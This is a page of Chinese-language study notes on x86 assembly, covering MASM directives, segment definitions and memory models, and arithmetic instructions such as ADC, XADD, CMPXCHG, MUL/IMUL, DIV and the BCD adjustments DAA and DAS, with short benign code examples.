mov ax [si],从数据段开头读取两个字节到ax中,注意是小端序,ax=3433Hmov ax [si+4],ax=1B7CHmov ax [si+5],ax=4C1BHmov ax [si+8],ax=0007Hmov ax [si+10],ax=3231H
Assume EQU and ORG¶
等值指令(EQU)用于将一个数值、ASCII码或标签等同(赋值)给另一个标签。EQU 主要用于定义常量。 EQU 指令的语法形式为:
使用等值指令可以让程序更加清晰、易于调试。例如:- 汇编器只能将标签分配为字节、字(word)或双字(doubleword)的地址。
- 如果需要将一个字节型标签转为字型,则可用 THIS 指令。
- THIS 指令的用法:THIS BYTE、THIS WORD、THIS DWORD 或 THIS QWORD。
ORG(origin,起始地址)语句用于改变数据段或代码段内数据(或代码)的起始偏移地址。
- 有时,需要用 ORG 指令将数据或代码分配到某个绝对偏移地址。
- 例如,Boot Sector 必须分配到 07c00h 这个地址。
ASSUME 指令用于告诉汇编器哪些段寄存器分别对应什么名字(即 code、data、extra 和 stack 段)。
对于DATA1 EQU THIS BYTE,其值为当前的地址,但将其视为一个 BYTE 类型。
然后DATA2 DW ? 定义了一个字,但未初始化。
注意DATA 1和DATA 2都指向了ORG定义的300H.DATA1认为它是字节,DATA2认为它是字。
接下来MOV BL DATA1将300H处取出一个字节,。MOV AX, DATA2将300H处取出一个字,然后存储到AX中。然后MOV BH, DATA1+1将301H处取出一个字节存到BH中。
最后BX和AX的内容是相同的。
PROC and ENDP¶
PROC 和 ENDP 伪指令用于标记一个过程(即子程序)的开始和结束,且每个过程必须被分配一个名称。书写格式如下:
PROC 指令后通常需要指定 NEAR 或 FAR(仅在 32 位系统有效)。
- NEAR(近)过程指的是与程序在同一个代码段中的过程,通常被认为是局部过程。
- FAR(远)过程可以位于内存系统的任意位置,被认为是全局过程。
- NEAR 类型过程被认为是局部(local),FAR 类型过程为全局(global)。
- 在过程块内部定义的任何标签,都被视为局部(NEAR)或全局(FAR),即继承。
例如,有一个名为 SumOf 的过程,通过传递寄存器参数,计算三个 32 位整数的和。
; 定义一个计算三个 32 位整数和的过程 SumOf
SumOf PROC
add eax, ebx ; eax = eax + ebx
add eax, ecx ; eax = eax + ecx
ret
SumOf ENDP
.data
theSum DD ?
.code
main PROC
mov eax, 10000h ;
mov ebx, 20000h ;
mov ecx, 30000h ;
call SumOf ; 调用过程,结果存于eax
mov theSum, eax ; 保存结果到变量theSum
main ENDP
MACRO and ENDM¶
MACRO 和 ENDM 伪指令用来定义宏(即一组有名字的汇编语言语句块)。
- 当你调用(使用)一个宏时,宏的代码会被直接插入到调用它的程序位置。
- 这种自动代码插入方式也被称为内联扩展(inline expansion)。
例如,有一个名为 mPutchar 的宏,它接收一个输入,并通过调用 WriteChar 在控制台显示该字符。
语句 “mPutchar 'A'” 会调用 mPutchar,并将字母 A 作为参数传递给它。
宏也可以在数据段中使用。例如,可以定义一个用于 GDT 描述符的宏。
; 定义用于描述符表(如 GDT)初始化的 Descriptor 宏
Descriptor MACRO Base, Limit, Attr
dw Limit & 0FFFFh ; 段界限的低 2 字节
dw Base & 0FFFFh ; 段基址的低 2 字节
db (Base >> 16) & 0FFh ; 段基址的第 3 字节
dw ((Limit >> 8) & 0F00h) | (Attr & 0F0FFh) ; Attr 1 + Limit 2 + Attr 2
db (Base >> 24) & 0FFh ; 段基址的第 4 字节
ENDM ; 共8字节
; 示例:GDT 段描述符的定义
GDT SEGMENT
Null_desc Descriptor 0, 0, 0
Normal_desc Descriptor 0, 0ffffh, DA_DRW
; ...
GDT ENDS
; 其中 DA_DRW 可在数据段中定义(如 equ 42h)
INCLUDE¶
INCLUDE 伪指令用于在汇编时,将另一个源文件(由文件名指定)中的代码插入到当前源文件中。
- 语法: INCLUDE 文件名
Memory organization¶
Full-Segment Definitions¶
完整的段定义能够对汇编语言任务提供更好的控制,尤其推荐用于复杂程序。
- MASM 汇编器提供多种内存模型,从 tiny(微型)到 huge(巨型),这些模型决定了段寄存器的使用方式和指针的默认大小。
- .MODEL 伪指令用于指定代码和数据指针的大小。
| 模型 | 数据段 | 代码段 | 定义说明 |
|---|---|---|---|
| Tiny | near | near | 仅有单一段,同时包含代码和数据(CS=DS=SS) |
| Small | near | near | 一个代码段和一个数据段(DS=SS) |
| Medium | near | far | 多个代码段,一个数据段(DS=SS) |
| Compact | far | near | 一个代码段,多个数据段 |
| Large | far | far | 多个代码段和多个数据段 |
| Huge | huge | far | 多个代码段和多个数据段,单个数组可以大于一个段(>64KB) |
完整段定义使用 SEGMENT、ENDS 和 ASSUME 指令来定义段,并告知汇编器和链接器。
以下是每个参数的详细解释:
- name (段名): 这是你给该段起的标号(Label)。必须与结尾的
name ENDS中的名字一致。 - [readonly] (只读属性): 可选。如果指定,表示该段内的内容是只读的。汇编器会检查是否有指令试图修改该段内的内容。
- [align] (对齐方式): 指定该段在内存中起始地址的对齐要求。
BYTE: 任意地址。WORD: 偶数地址。DWORD: 4 的倍数地址。PARA(默认值): 16 的倍数地址。PAGE: 页边界(通常 256 或 4096)。
- [combine] (组合类型): 告诉链接器如何处理不同模块中具有 相同段名 的段。
PRIVATE(默认值): 独立段,不合并。PUBLIC: 连接所有同名段。STACK: 定义堆栈段,连接并初始化 SP。COMMON: 重叠段(起始地址相同),长度取最大者。AT address: 绝对物理地址。
- [use] (位宽属性): 指定段的默认操作数大小和寻址方式大小。
USE16(默认值): 16 位段(实模式)。USE32: 32 位段(保护模式)。
- ['combine-class'] (类别): 单引号括起来的字符串(如
'CODE')。链接器会将所有 类别名相同 的段在内存中连续存放。 MyCode SEGMENT 'CODE' 和 LibCode SEGMENT 'CODE',链接器会把它们放在内存中相邻的位置。这有助于操作系统加载程序时设置内存权限(例如将整个代码区域设为只读)
例如
Assume¶
- segment 指令本身并不告知段的用途类型。assume 指令则向汇编器指明各段寄存器所对应的段。
- assume 指令的基本格式如下: assume [CS:段名,] [DS:段名,] [ES:段名,] [FS:段名,] [GS:段名,] [SS:段名]
- 有效的 assume 指令示例:
- assume DS:DSEG
- assume CS:CSEG, DS:DSEG, ES:DSEG, SS:SSEG
- assume CS:CSEG, DS:NOTHING
- 当汇编器遇到一条指令(如 mov var,0)时,首先会判断 var 所处的段。
- 如果变量 var 没有声明在当前 assume 设定的任何段中,汇编器就会报错,提示无法访问该变量。
- 最理想的做法是在每个过程(procedure)前书写对应的 assume 指令。因为,程序运行中段寄存器指向的段一般只会在进入、退出过程时发生变化。
END¶
END 指令用于告知汇编器模块的结束。
- 通常,每个源代码模块的最后一行都会有一条 END 语句。
- 只有一个模块可以写成带标签的 END 语句。
- END 指令还可以用来指定程序的入口地址。
- 语法:END label
- 例如:END start
- 此时,start 标签就是程序的入口点,DOS 会从该地址开始执行程序。
下面是一个 MASM 格式的段定义与数据搬运示例,实现将一个数据段 LISTA 的 100 字节内容批量复制到 LISTB:
STACK_SEG SEGMENT 'STACK'
DW 100H DUP(?)
STACK_SEG ENDS
DATA_SEG SEGMENT 'DATA'
LISTA DB 100 DUP(?)
LISTB DB 100 DUP(?)
DATA_SEG ENDS
CODE_SEG SEGMENT 'CODE'
ASSUME CS:CODE_SEG, DS:DATA_SEG
ASSUME SS:STACK_SEG
MAIN PROC FAR
; 设置数据段和附加段寄存器
MOV AX, DATA_SEG
MOV DS, AX
MOV ES, AX
CLD ; 清除方向标志,正序复制
; SI 指向源,DI 指向目标
MOV SI, OFFSET LISTA
MOV DI, OFFSET LISTB
MOV CX, 100
REP MOVSB ; 批量复制 100 字节
; 程序结束,返回 DOS
MOV AH, 4CH
INT 21H ; 当 CPU 执行这条指令时,会查看 AH 寄存器中的值来决定具体做什么。因为 AH 是 4CH,所以操作系统会清理内存、关闭文件,然后结束当前程序。
MAIN ENDP
CODE_SEG ENDS
END MAIN
STACK_SEG定义 256 字节堆栈区。DATA_SEG定义两个 100 字节数组:LISTA 和 LISTB。- 入口点是在
MAIN,程序将 LISTA 批量搬运至 LISTB。 ASSUME语句指明各段寄存器含义,便于汇编器处理寻址。
段名 DATA_SEG 可以用来加载段地址
Memory Models¶
内存模型(Memory model)是 MASM 独有的概念。
- .MODEL 伪指令在实模式中包含六种内存模型,分别为 tiny、small、compact、medium、large、huge。
- 在保护模式下,仅支持 flat(平面)一种模型。
- 特殊伪指令 @DATA、@STACK、@CODE 用于标识不同的段。
- MASM 的 x64 下不再使用 .MODEL 伪指令。
尽量选择能够容纳数据和代码的最小内存模型,因为近引用(near reference)比远引用(far reference)执行效率更高。
| 模型 | 数据段 | 代码段 | 定义说明 |
|---|---|---|---|
| Tiny | near | near | 仅有单一段,同时包含代码和数据(CS=DS=SS) |
| Small | near | near | 一个代码段和一个数据段(DS=SS) |
| Medium | near | far | 多个代码段,一个数据段(DS=SS) |
| Compact | far | near | 一个代码段,多个数据段 |
| Large | far | far | 多个代码段和多个数据段 |
| Huge | huge | far | 多个代码段和多个数据段,单个数组可以大于一个段(>64KB) |
Arithmetic and Logic Instructions¶
约 8883 个字 125 行代码 36 张图片 预计阅读时间 32 分钟
ADDITION, SUBTRACTION AND COMPARISON¶
大多数微处理器中的算术指令包括加法、减法和比较。
ADD¶
ADD 指令在微处理器中有多种形式:
-
带进位加法(ADC): 这是一种次级加法指令,会在加法操作中包含进位标志位(Carry Flag)。
-
不支持的加法类型: 处理器不允许内存到内存的加法或涉及段寄存器的加法。(段寄存器只能被移动、压栈或弹栈。)
- 递增(INC): INC 指令是一种特殊的加法操作,用于将一个值增加 1。
Register Addition¶
当算术和逻辑指令(如 ADD)执行时,会影响部分标志寄存器位,包括符号标志(sign)、零标志(zero)、进位标志(carry)、辅助进位标志(auxiliary carry)、奇偶标志(parity)以及溢出标志(overflow)。而中断标志(interrupt)和陷阱标志(trap)不受影响。
Immediate Addition¶
立即加法用于将一个常数(立即数)直接加到目标操作数上。
Memory-to-Register Addition¶
在此操作中,数据从内存中读取并加到寄存器(如 AL)中。例如,一个程序可以将位于连续内存地址(如 NUMB 和 NUMB+1)中的两个字节分别加到 AL 寄存器里,具体如下所示。
Array Addition¶
内存数组是有序的数据序列。假设有一个包含 10 个字节的数据数组(ARRAY),元素编号从 0 到 9。 下面的例子展示了如何将数组中第 3、5 和 7 个元素的内容相加。
Increment addition¶
INC 指令用于将任意寄存器或内存单元(除了段寄存器)加 1,并且它不会改变 CF(进位标志位)的状态。例如:
对于间接内存递增操作,必须通过 BYTE PTR、WORD PTR 或 DWORD PTR 等前缀来声明数据的大小。 因为汇编器无法分辨 INC [DI] 所要操作的数据是字节、字、还是双字。
Addition with carry¶
ADC(带进位加法)指令会将进位标志(C)中的位加到操作数的数据上。
- 主要用于在 80386 到 Core2 处理器中处理大于 16 位或 32 位的加法运算的软件中
- 与 ADD 指令类似,ADC 在加法之后会影响标志位的状态
- 图 5-1 展示了进位标志的位置和作用,便于理解其功能
- 在 8086 到 80286 架构中,因为只能直接加 8 位或 16 位数,如果没有加上进位标志位,无法方便地实现大数加法
使用ADC指令,将大数分散到四个寄存器中存,实现大数的加法。
Example
例如,使用 ADC 指令来计算两个长度为多个双字(dword)的长整数之和。
.data
int1 DD 1,0,0,0,0,0,0,1
int2 DD 1,0,0,0,0,0,0,1
.code
MOV EDI,OFFSET int1
MOV ESI,OFFSET int2
MOV ECX,8 ; ECX = 8,表示有8个双字需要相加
CLC ; 先清除进位标志
loop: MOV EAX, [ESI]
ADC [EDI], EAX ; 将EAX和[EDI]相加并加上上一次的进位
LEA ESI, [ESI+4] ; 指向下一个源操作数
LEA EDI, [EDI+4] ; 指向下一个目的操作数
DEC ECX ; 循环计数减一
JNZ loop ; 如果ECX > 0,则继续循环
ADCX and ADOX¶
ADD 和 ADC 指令常用于加速大整数的算术运算,其典型代码序列如下:
这些指令会形成依赖链,从而导致处理器无法并行执行算术运算。
为了解决这一问题,Intel 引入了第二条进位链(carry chain),这使得可以同时进行两条独立的进位链运算。
针对 ADC 指令,新增了两个变体:ADCX和ADOX。
两种新的 ADC 变体互不影响,因为它们各自有独立的进位标志。
ADCX使用 CF(进位标志),并且不会改变其他标志位。ADOX使用 OF(溢出标志),并且不会改变其他标志位。
Info
ADCX、ADOX 和 MULX 指令在大整数乘法中具有重要意义。大整数运算在密码学(如RSA公钥算法)和高性能计算等领域有着广泛的应用。
Exchange and Add¶
XADD (exchange and add) 指令最早出现在 80486 处理器中,并一直延续到 Core2 架构。
- XADD des, src 的操作过程如下:
- 首先交换目标操作数(des)与源操作数(src) des <-> src
-
然后将两者的和存入目标操作数(des) des <- src + des
-
这是少数会修改源操作数的指令之一。
目标操作数可以是寄存器或内存位置;源操作数是寄存器。
在多处理器系统中,XADD 可以与 LOCK 前缀结合使用,使多个处理器能够安全地执行同一个循环(DO 循环)。
int atomic_xadd (atomic_t *v, int inc)- XADD 会将给定的增量“inc”加到“*v”上,并且原子性地返回“*v”之前的值。
- XADD 在原子变量“*v”上执行交换并加的操作。
-
当有多个 CPU 同时在线时,XADD 会加上锁(LOCK),以保证操作的原子性。
-
XADD 可用于实现共享计数器和各种数据结构。
-
XADD 可能适用于乐观锁1机制,通常应用于高并发场景。
-
下例使用乐观锁来使多个线程安全地更新共享版本号。
.data
version DD 0 ; shared version number initialized to 0
.code
MOV ECX, version ; load the current value of version
...... ; working optimistically
MOV EAX, 1 ; EAX = 1
XADD version, EAX ; version <-> EAX, version = version+1
CMP EAX, ECX ; check if the value was modified by
; another thread
JNE retry ; if version was updated then rollback
......
retry: ...... ; handle the conflict
SUB¶
SUB(减法)有多种形式,广泛存在于指令集中:
- SUB 支持任意寻址方式,可用于 8、16 或 32 位数据的运算。
- 还有一种特殊的减法形式——DEC(递减),用于寄存器或内存位置的数值减 1。
- 当需要对超过 16 位或 32 位宽度的数进行减法时,会用到带借位减法指令 SBB(Subtract with Borrow)。
Register Subtraction¶
- 每次执行减法操作后,微处理器都会根据结果修改标志寄存器(Flags Register)的内容。
- 这种标志寄存器的改变在绝大多数算术和逻辑运算后都会发生。
Immediate Subtraction¶
- 微处理器还允许立即数参与运算,可以直接对寄存器或内存的常数数据进行减法。
Decrement Subtraction¶
- DEC 指令会把某个寄存器或内存单元的值减 1。
- DEC 会影响除 CF(进位标志)以外的所有标志位。
Warning
如 CMP 指令会根据执行结果更新所有标志位,但 INC(加一)和 DEC(减一)只会写入除 CF 之外的其他标志位。
如果 JCC(条件跳转指令)直接使用 INC/DEC 操作后的标志位,有可能因为依赖于 INC/DEC 非预期更新的标志位而导致错误。例如:
-
CMP EAX, EBX:比较 EAX 和 EBX 的值。这会设置 CPU 的 EFLAGS 寄存器(包括零标志位 ZF 和进位标志位 CF)。
-
DEC ECX:将 ECX 寄存器减 1。DEC 指令也会修改标志位(如 ZF, SF, OF),但它不修改 CF。这就会影响到最后的判断
-
JBE LABEL:跳转指令(Jump if Below or Equal)。它的触发条件是 (CF == 1) OR (ZF == 1)。
故编译器通常不会使用 INC/DEC 指令来更新循环计数,也不会在条件跳转(JCC)中重用 INC/DEC 产生的标志位(FLAGS)。
Subtraction with borrow¶
-
SBB(带借位减法)指令的功能类似于普通的减法,不同之处在于:它还会将进位标志(C,Carry Flag,实际为借位)中保存的借位值参与运算,从结果中再减去一次借位。、
-
SBB 最常见的用途是在 8086~80286 微处理器上进行超过 16 位的数据减法,或者在 80386~Core2 之后用于超过 32 位的数据减法。
-
进行宽位数减法时,需要像宽位加法传播进位那样,通过多条 SBB 指令传播借位。
Camparison¶
比较指令(CMP)实际上是一次只影响标志位的减法操作。
- 目标操作数不会被改变。
- 常用于判断寄存器或内存单元中的内容是否等于另一个值。
- CMP 指令通常后接条件跳转(JCC)指令,通过检查标志位的状态实现条件分支。
Comapre and Exchange¶
(80486–Core2 Processors Only)
CMPXCHG 会将目标操作数与累加器(隐含操作数,通常为 AL/AX/EAX)进行比较,
例如:CMPXCHG des, src(AL/AX/EAX 隐含)。
- 如果 des == 累加器,则将 src 的值写入 des,同时 ZF = 1;
- 如果 des ≠ 累加器,则将 des 的值写入累加器,同时 ZF = 0;
- EFLAGS 中的零标志位(ZF)会相应地被设置。
- 该指令仅在 80486 至 Core2 指令集中提供
- 可用于 8 位、16 位或 32 位数据
例如, CMPXCHG CX,DX (AX):
- if CX == AX, CX = DX, ZF =1
- if CX <> AX, AX = CX, ZF =0
如果目标操作数与 AL、AX 或 EAX 寄存器中的值相等,则零标志位(ZF)被置为 1;否则,ZF 被清零。
那么上面的例子可能有以下几种情况
-
Case 1:
- before execution:
- (CX)=00FFH, (DX)=00EFH, (AX)=00FFH;
- after execution:
- (CX)=00EFH, (DX)=00EFH, (AX)=00FFH, ZF=1;
- before execution:
-
Case 2:
- before execution:
- (CX)=00FFH, (DX)=00EFH, (AX)=00EEH ;
- after execution:
- (CX)=00FFH, (DX)=00EFH, (AX)=00FFH, ZF=0;
- before execution:
Info
int atomic_cmpxchg (atomic_t *v, int new, int old):
- 此函数对原子变量“v”执行一次原子性比较交换操作,使用提供的 old 和 new 值。
- 它返回该原子变量 v 在操作前的旧值。
与 CMPXCHG 的参数对应为
| C 语言参数 | 汇编操作数类型 | 作用 |
|---|---|---|
int old |
累加器 (EAX / RAX) | 预期的旧值。指令会将内存中的值与它进行比较。 |
atomic_t *v |
目标操作数 (Destination) | 内存地址。指向你想要更新的那个共享变量。 |
int new |
源操作数 (Source) | 待写入的新值。如果比较成功,就将此值写入内存。 |
运用CMPXCHG可以实现无锁编程。
顺序栈在存在竞争条件的并发系统中无法正常工作。自旋锁和读写锁可以帮助实现锁的持有者之间的转移,但这样做是耗费资源的。
CMPXCHG8B/CMPXCHG16B¶
- CMPXCHG8B 指令用于比较并交换8个字节的数据。
- 语法:
CMPXCHG8B [mem64-operand]- ECX:EBX:新的64位值(隐式操作数)
- EDX:EAX:旧的64位值(隐式操作数)
- 如果操作数(内存中的64位值)与EDX:EAX相等,
- 则操作数=[ECX:EBX],ZF=1
- 否则,将操作数(内存)中的64位值加载到EDX:EAX,ZF=0
- 零标志(ZF)指示比较后值是否相等。
例如:
- 如果内存[memory]中的64位值等于EDX:EAX,就用ECX:EBX的值替换它。
- 否则,将内存[memory]中的值加载到EDX:EAX。
- CMPXCHG8B 通常结合LOCK前缀在多处理器环境下使用,以确保操作的原子性。
MOV EAX, [mem] ; 新值的低32位装入EAX
MOV EDX, [mem+4] ; 新值的高32位装入EDX
MOV EBX, new_low ; 替换值的低32位
MOV ECX, new_high ; 替换值的高32位
LOCK CMPXCHG8B QWORD PTR [mem]
JZ SUCCESS ; 如果ZF=1,跳转到SUCCESS
- CMPXCHG16B 将 RDX:RAX 中的128位值与内存中的128位(目标操作数)进行比较。
- 如果相等,则将RCX:RBX中的128位新值写入目标操作数。
- 否则,将目标操作数的128位值加载至RDX:RAX。
- 注意:CMPXCHG16B要求目标(内存)操作数必须16字节对齐。
MULTIPLICATION AND DIVISION¶
乘法和除法可以作用于Byte、Word、Doubleword操作数,
- 可以是无符号整数(MUL)或有符号数(IMUL)
- 对于 MUL 指令,被乘数始终隐式存储在 AL/AX/EAX 寄存器中
- 例如:
MUL CL ; 此时 AX = AL*CL - 乘积始终是双倍宽度的product。
- 两个8位数相乘产生16位结果;两个16位数相乘产生32位结果;
- 两个32位数相乘产生64位结果
- 在 Pentium 4 的 64 位模式下,两个64位数相乘会得到128位的乘积
8/16/32/64-Bit Multiplication¶
- 在8位乘法中,被乘数总是隐式地位于 AL 寄存器中,无论有符号还是无符号运算
- 乘数可以是任意8位寄存器或内存单元
- 如果使用内存操作数,需要使用限定符指明操作数大小,例如
MUL BYTE PTR [BX] -
立即数乘法不被允许(例如
MUL 12H),除非使用 IMUL 的两操作数或三操作数格式 -
运算完成后,乘积会被存放在 AX 中,即双倍宽度的product
16-Bit Multiplication¶
- 字(Word)乘法和字节(Byte)乘法非常相似。
- 此时被乘数存储在AX寄存器中,而不是AL。
- 32位积结果存放在DX–AX寄存器对中:
- DX包含积的高16位;
- AX包含积的低16位。
- 与8位乘法一样,乘数可由程序员自由选择。
32-Bit Multiplication¶
- 从80386及更高版本的处理器开始,允许32位乘法,因为这些处理器拥有32位寄存器。
- 可以使用
IMUL和MUL指令进行有符号或无符号乘法运算。
- 可以使用
- EAX中的值与指令指定的操作数相乘。
- 64位的乘积会存放在
EDX–EAX寄存器对中,其中EAX包含积的低32位。
64-Bit Multiplication¶
- 在Pentium 4处理器中,64位乘法的结果以128位形式保存在
RDX:RAX寄存器对中。 - 尽管这种大规模乘法比较少见,Pentium 4和Core2都可以对有符号和无符号数据进行此操作。
Summary
| 操作数大小 | 被乘数隐式存储在 | 乘积存储在 |
|---|---|---|
| 8-Bit | AL | AX |
| 16-Bit | AX | DX:AX |
| 32-Bit | EAX | EDX:EAX |
| 64-Bit | RAX | RDX:RAX |
IMUL--Signed Multiplication¶
IMUL 指令有三种形式:
- 单操作数形式:这种形式与 MUL 指令相同,即只写一个操作数,被乘数隐含指定,结果为双倍宽度,存放在默认寄存器中。
- 双操作数形式:目的操作数为寄存器,源操作数可以是立即数、寄存器或内存单元。计算出的中间乘积(即输入操作数宽度的两倍)会被截断,仅存入目的操作数中。
例如:
- IMUL ECX, [EAX+4] ;ECX = ECX * [EAX+4]
- IMUL ECX, 16 ;ECX = ECX * 16
- 三操作数形式:第一个源操作数与第二个源操作数相乘,截断后的结果被存入目的寄存器中。
例如:
- IMUL ECX, [EAX+4], 5 ;ECX = [EAX+4] * 5
Difference between MUL and IMUL
The MUL instruction fills the upper part with zero-extension, while the IMUL instruction fills the upper part with sign extension, e.g.,
Flags Affected by Mul¶
MUL 指令影响的标志位
- 当乘积可以完全容纳在乘积的低位寄存器中时,MUL 指令会清除 OF(溢出标志)和 CF(进位标志);否则,OF 和 CF 会被置位。例如:
CF 和 OF 标志用于指示乘积高位部分是否包含有效数字。
Flags Affected by IMUL¶
当中间乘积的有符号整数值与经过操作数长度截断并符号扩展后的结果不同时,CF 和 OF 标志会被置位;否则,CF 和 OF 标志会被清零。
对于两操作数和三操作数形式,由于存在截断,应该检查 CF 或 OF 标志,以确保没有重要位被丢失。
Note
简单来说,如果操作数长度截断的值与乘出来的值是相等的,那么CF和OF=0;否则,CF和OF=1。
Division¶
除法操作可在8位、16位或32位数据上进行,具体取决于微处理器的类型。
- 可执行无符号除法(DIV)或有符号除法(IDIV)。
- 被除数始终为双倍宽度(例如,用32位数据进行除法时,被除数占用64位),通过操作数进行除法。
- 没有任何微处理器支持带立即数的除法指令。
-
在64位模式下,如Pentium 4和Core2,可以实现用128位的数据去除以64位的数据。
-
执行除法时,可能会出现两种错误:
- 尝试除以0(divide by zero)
- 除法溢出:当用较小的数去除一个很大的数时发生(divide overflow)
- 无论哪种错误,微处理器都会生成一个除法错误中断。
- 在大多数系统中,出现除法错误中断时,系统会在屏幕上显示错误信息。
8 bit division¶
使用 AX 寄存器存储被除数,将其除以任意 8 位寄存器或内存单元中的内容,即用 AX 除以 r/m8,运算结果如下存放:
AL := Quotient,AH := Remainder。
也就是说,除法操作后,商被放入 AL,余数为整数并存放在 AH 中。
商(Quotient)可以为正也可以为负;余数(Remainder)总是与被除数(dividend)同号。这种舍入方式被称为“向零舍入”(round-toward-zero)。
例如,IDIV BL:
- 当 AX=10H(+16),BL=0FDH(-3)时
- 结果:商为 -5(AL),余数为 1(AH)
-
当 AX=0FFF0H(-16),BL=03H(+3)时
- 结果:商为 -5(AL),余数为 -1(AH)
-
在 8 位除法中,数据通常为 8 位宽。
- 被除数需要转换为 AX 中的 16 位宽数字;对于有符号数和无符号数,这一转换方式有所不同。
下面的例子演示了如何用无符号字节内存单元 NUMB 的内容除以无符号字节内存单元 NUMB1 的内容(即 NUMB \(\div\) NUMB1)。
注意,NUMB 的内容会被零扩展为一个 16 位的无符号数作为被除数。
16 Bit Division¶
16 位除法与 8 位除法类似。不同之处在于,被除数不是 AX(16 位),而是使用 DX–AX 组合成一个 32 位的被除数。
在 80386 及以上处理器中,通常用 MOVZX 指令将被除数进行零扩展以获得更高位数的操作。
32 Bit Division¶
80386 到 Pentium 4 支持对有符号或无符号数进行 32 位除法运算。
- 64 位的被除数由 EDX–EAX 组合而成,并由指令指定的操作数进行除法。
- 商(32 位)保存在 EAX 中,
- 余数(32 位)保存在 EDX 中。
64 Bit Division¶
Pentium 4 在 64 位模式下可以对有符号或无符号数执行 64 位除法运算。
- 64 位除法时,被除数保存在 RDX:RAX 寄存器对中(高位为 RDX,低位为 RAX)。
- 除法操作后,商保存在 RAX 寄存器中,余数保存在 RDX 寄存器中。
Summary
| 操作数大小 | 被除数隐式存储在 | 商存储在 | 余数存储在 |
|---|---|---|---|
| 8-Bit | AX | AL | AH |
| 16-Bit | DX:AX | AX | DX |
| 32-Bit | EDX:EAX | EAX | EDX |
| 64-Bit | RDX:RAX | RAX | RDX |
Signed Extension¶
有三类用于符号扩展的指令:
- CBW/CWDE/CDQE 用于将 AL、AX 或 EAX 中的有符号字节、字或双字转换为 AX、EAX 或 RAX 中的有符号字、双字或四字(例如,AX → EAX)。
- CWD/CDQ/CQO 指令分别将 AX/EAX/RAX寄存器的符号位复制到 DX、EDX 或 RDX 寄存器的所有位中。
Summary
记忆方式,如果最后一个是E,说明没有跨寄存器,没有E的有CBW,这个很简单,因为从Byte到Word肯定不用跨寄存器,至于CWD(word to double word),CDQ(double word to qword),CQO(qword to Qctword),都是跨寄存器的了.
MOVSX/MOVSXD (Move sign extended)指令通过符号扩展,将源操作数(寄存器或内存中的值)复制到目标操作数(寄存器)中。
- MOVSX 用于将字节或字转换为有符号的双字或四字。
- MOVSXD 用于将双字转换为四字。
MOVZX (Move zero extended)指令则是将源操作数(寄存器或内存中的值,作为第二操作数)复制到目标寄存器(第一个操作数)中,并进行零扩展以适应目标寄存器的位数。
The Remainder¶
在除法运算后,处理余数有几种可能的方式:
- 舍弃余数,仅保留商的整数部分(例如,13/2=6)。
- 对商进行四舍五入:若为无符号除法,需要将余数与除数的一半进行比较,以判断商是否需要进一(例如,13/2 = 7)。
- 转换为带小数的余数:余数也可以转换为小数形式的结果(例如,13/2 = 6.5)。
上面展示了一个将 AX 除以 BL 并对无符号结果进行四舍五入的程序(即 AX ÷ BL)。该程序在比较前会将余数乘以2,再与 BL 比较,以决定商是否需要进一。这里通过 INC 指令对 AL 的内容进行加1实现四舍五入。
上面展示了如何将 13 除以 2。8 位的商被保存在内存位置 ANSQ 中,随后清空了 AL。接着,再次将 AX 的内容除以 2,以生成带小数的余数。
第一次除法后,AH=1,AL=6,将AL清空之后,AX的值为(0x0100),即256,所以第二次除法后,AX=(0x0080),AL的值为128=80H。如果将二进制小数点放在 AL 最左侧的比特位之前,那么 AL 中的小数余数为 0.5₁₀(即二进制的 0.10000000)。该余数随后被保存在内存单元 ANSR 中。
BCD and ASCII Arithmetic¶
微处理器允许对 BCD(二进制编码的十进制数)和 ASCII(美国信息交换标准代码)数据进行算术运算。
- 这些指令在 64 位模式下无效,如果在 64 位模式下使用,会产生非法操作码(#UD)异常。
BCD Arithmetic¶
BCD 操作常见于诸如销售终端(如收银机)等系统,这类场合通常不需要复杂的运算。
- 针对 BCD 数据,有两种算术操作方式:加法和减法。
- DAA(Decimal Adjust After Addition)指令用于 BCD 加法之后,
- DAS(Decimal Adjust After Subtraction)指令用于 BCD 减法之后。
- 这两条指令都会对加法或减法的结果进行修正,使其变为正确的 BCD 数值格式。
- 这些指令均使用 AX 寄存器作为源和目标寄存器。
DAA Instruction¶
-
DAA 用于调整两个packed BCD value相加后的结果,生成一个正确的packed BCD 结果。
- DAA 指令只应在紧接着 ADD 或 ADC 指令(用于将两个 2 位的packed BCD 值以二进制方式相加,结果存入 AL 寄存器)之后使用。
- DAA 将自动修正 AL 寄存器中的内容,使其成为正确的 2 位packed BCD 结果。
-
如果发生十进制进位,对应的 CF(进位标志)和 AF(辅助进位标志)会被设置。
- 辅助进位(AF)用于保存加法操作后的半字节进位。
Note
具体来说,其调整过程为:
-
第一步:调整低 4 位 (Low Nibble)
- 触发条件:如果 AL 的低 4 位大于 9,或者辅助进位标志 AF = 1。
- 动作:将 AL 加上 06H,并将 AF 设置为 1。
-
第二步:调整高 4 位 (High Nibble)
- 触发条件:如果在第一步调整后,AL 的高 4 位大于 9,或者进位标志 CF = 1。
- 动作:将 AL 加上 60H,并将 CF 设置为 1。
Note
示例 1:计算 BCD 35 + 48
MOV AL, 35H ; AL = 0x35 (十进制 35)
ADD AL, 48H ; AL = 0x7D, AF = 0
DAA ; 0xD 大于 9,调整低4位,加上06H,变为0x83,CF=0,不用调整
示例 2:计算 BCD 69 + 29
MOV AL, 69H ; AL = 0x69 (十进制 69)
ADD AL, 29H ; AL = 0x92, AF = 1
DAA ; 2<9但是AF=1,调整低4位,加上06H,变为0x98,CF=0,不用调整
示例 3:计算 BCD 35 + 65
MOV AL, 35H ; AL = 0x35 (十进制 35)
ADD AL, 65H ; AL = 0x9A, AF = 0
DAA ; A>9,调整低4位,加上06H,变为0xA0,CF=0,调整高4位,加上60H,变为0x00,CF=1,所以最终结果为0x00,CF=1
示例 4:计算 BCD 90 + 70
DAS Instruction¶
- DAS 用于调整两个 packed BCD value 相减后的结果,生成一个正确的 packed BCD 结果。
- DAS 指令只应在紧接着 SUB 或 SBB 指令之后使用。
- DAS 将自动修正 AL 寄存器中的内容,使其成为正确的 2 位 packed BCD 结果。
- 如果发生十进制借位,对应的 CF(进位标志,在减法中表示借位)和 AF(辅助进位标志)会被设置。
- 辅助进位(AF)用于保存减法操作后低半字节向高半字节的借位情况。
Note
具体来说,其调整过程为:
-
第一步:调整低 4 位 (Low Nibble)
- 触发条件:如果 AL 的低 4 位大于 9,或者辅助进位标志 AF = 1。
- 动作:将 AL 减去 06H,并将 AF 设置为 1。
-
第二步:调整高 4 位 (High Nibble)
- 触发条件:如果在第一步调整后,AL 的高 4 位大于 9,或者进位标志 CF = 1。
- 动作:将 AL 减去 60H,并将 CF 设置为 1。
